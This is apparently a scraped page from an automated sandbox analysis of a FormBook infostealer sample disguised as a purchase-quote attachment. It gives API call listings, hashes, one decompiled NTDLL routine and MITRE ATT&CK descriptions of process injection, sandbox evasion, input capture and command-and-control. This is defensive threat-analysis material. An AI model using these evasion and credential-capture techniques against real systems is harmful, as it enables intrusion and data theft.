LookupPrivilegeValueW.ADVAPI32(00000000,?,00E7CFA2,00E7CFA2,?,00000000,?,?), ref: 00E88660

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: d6357f2c9464313862ee9990b3e5631f27504742790c6f13a23ac4f4be6e0887
Instruction ID: dc6054f27739e8a59283e2743fcfe38624ce042eda5297202ca49cc40a00e4d5
Opcode Fuzzy Hash: d6357f2c9464313862ee9990b3e5631f27504742790c6f13a23ac4f4be6e0887
Instruction Fuzzy Hash: D6F09076214304ABCB10EFA8DC85CEB77E9EF84354B419549FC5C57243CA71E91687A0

Uniqueness

Uniqueness Score: -1.00%

Function 00E87010, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,00E7CCD0,?,?), ref: 00E8704C

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 473dbcfab93db6e432a80a17414ec1433c52d710a873f6e391b32a5e11b2618c
Instruction ID: 753af26a9be2fc7807c697645f6c13e1df0277bcba0f3b6063b417866a7c2f24
Opcode Fuzzy Hash: 473dbcfab93db6e432a80a17414ec1433c52d710a873f6e391b32a5e11b2618c
Instruction Fuzzy Hash: E6E06D333913043AE23075A99C02FA7B39CCB81B20F540026FA4DFA2C1D595F80142A4

Uniqueness

Uniqueness Score: -1.00%

Function 00E87005, Relevance: 1.5, APIs: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,00E7CCD0,?,?), ref: 00E8704C

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5107cb408d6e1d818aff4aef2d3231b6164e50f0aaaf8aea1c26cf37013dc999
Instruction ID: 5784fc6c69e124b7d7f0141222efd8819088281f36def67db1d0aebe863cd4ff
Opcode Fuzzy Hash: 5107cb408d6e1d818aff4aef2d3231b6164e50f0aaaf8aea1c26cf37013dc999
Instruction Fuzzy Hash: 1BF02B723813403AE73075688C03FA777988F91B10F150059FA8DBB1C2D594F4014764

Uniqueness

Uniqueness Score: -1.00%

Function 00E88621, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,00E7CFA2,00E7CFA2,?,00000000,?,?), ref: 00E88660

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 36a7ac35b619531ef9057343e9e27ce67be0889eb70bfb3f46b50ce6935b7c2a
Instruction ID: 084aed04790a83f422e247512e96dab1615f720f8100862004423c0380b757b6
Opcode Fuzzy Hash: 36a7ac35b619531ef9057343e9e27ce67be0889eb70bfb3f46b50ce6935b7c2a
Instruction Fuzzy Hash: DDE0EDB1200204AFDB20DF54CC44FE737AEAF84320F048288FD0D6B281CA31E9028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E88490, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00E83516,?,00E83C8F,00E83C8F,?,00E83516,?,?,?,?,?,00000000,00000000,?), ref: 00E884BD

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 3c034b11fe6d8afb59ba8b1c0000efe734755649dcb7f629bb208563cef59c4c
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 51E012B1200208ABDB14EF99CC41EA777ADAF88750F118558FE0C6B282CA30F9108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00E7D408, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00E77C63,?), ref: 00E7D43B

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: df9db21e8de393d8275fe9b7236903b0781d05b02f527ddc862af87274a5b4b4
Instruction ID: 452074d1808a9bd3e5d7d357d49f10bfecb6abb9451aedb733da492ad8d78688
Opcode Fuzzy Hash: df9db21e8de393d8275fe9b7236903b0781d05b02f527ddc862af87274a5b4b4
Instruction Fuzzy Hash: 55D02B9636C3C436F710BBB4AC03F572B448B43750F4945A9F44DFA4C3D809C0150136

Uniqueness

Uniqueness Score: -1.00%

Function 00E88630, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,00E7CFA2,00E7CFA2,?,00000000,?,?), ref: 00E88660

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 8a62752247c1f5cb427e8a4cf5209a551a1221cc87a522deec4ed60cf281a807
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 39E01AB12002086BDB10EF49CC85EE737ADAF88750F018554FE0C67281C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00E7D410, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00E77C63,?), ref: 00E7D43B

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction ID: a1da18ee4a56738cbfedef220f477dc68b5c3e98f7400d2cf643271c5f2b4ff0
Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction Fuzzy Hash: AFD05E617503043AEA10BAA8DC03F2672C89B54B04F494064F94DA62C3E960E5004561

Uniqueness

Uniqueness Score: -1.00%

Function 050C967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C9694

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6f1ea0fa6f96383b85d6a676d0c8def434cd2c9b1962f0ebd61cb2ec2d12274e
Instruction ID: c7b0b873eea8eb2ebff3a3449345afc29b3e8d72d39b493e4dbcb53b3154fef0
Opcode Fuzzy Hash: 6f1ea0fa6f96383b85d6a676d0c8def434cd2c9b1962f0ebd61cb2ec2d12274e
Instruction Fuzzy Hash: 17B02B728010C5C5D600D3605608B2F7E0077C0300F12C051E1020244A0338C090F2B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0511FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0511FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E050CCE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E05115720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E05115720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x0511fdda
0x0511fde2
0x0511fde5
0x0511fdec
0x0511fdfa
0x0511fdff
0x0511fe0a
0x0511fe0f
0x0511fe17
0x0511fe1e
0x0511fe19
0x0511fe19
0x0511fe19
0x0511fe20
0x0511fe21
0x0511fe22
0x0511fe25
0x0511fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0511FDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0511FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0511FE01

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 092a22ceb644a01cc6d6ebdb06d9f5742cde8ca49c162cc3132a5b4cf1c43100
Instruction ID: 537dc1fb17cade140118821b321a2b053954b0a983b54841ecc462e7d8e797c8
Opcode Fuzzy Hash: 092a22ceb644a01cc6d6ebdb06d9f5742cde8ca49c162cc3132a5b4cf1c43100
Instruction Fuzzy Hash: FEF04636600201BFE6201A45DC06F27BF5BEB81730F150364FA284A1D1DB62F86096F8

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report RE; KOC RFQ for Flangers - RFQ 22965431.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Function 004030CB, Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Function 00405302, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 00405FA8, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405CFF, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Function 00405CD8, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 00403526, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C22, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 10001D3B, Relevance: 21.5, APIs: 14, Instructions: 499
stringlibraryloaderCOMMON

Function 00401734, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00402E5B, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Function 004056E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Function 1000198F, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00401F51, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Function 00403097, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Function 004063DD, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Function 004065DE, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Function 004062F4, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Function 00405DF9, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Function 00406247, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Function 00406365, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Function 004062B1, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Function 00401B06, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Function 004056B4, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Function 00405695, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Function 0040304E, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Function 10002930, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 00403080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 10001000, Relevance: 1.3, APIs: 1, Instructions: 16
memoryCOMMON

Function 10001541, Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Function 00404EB9, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON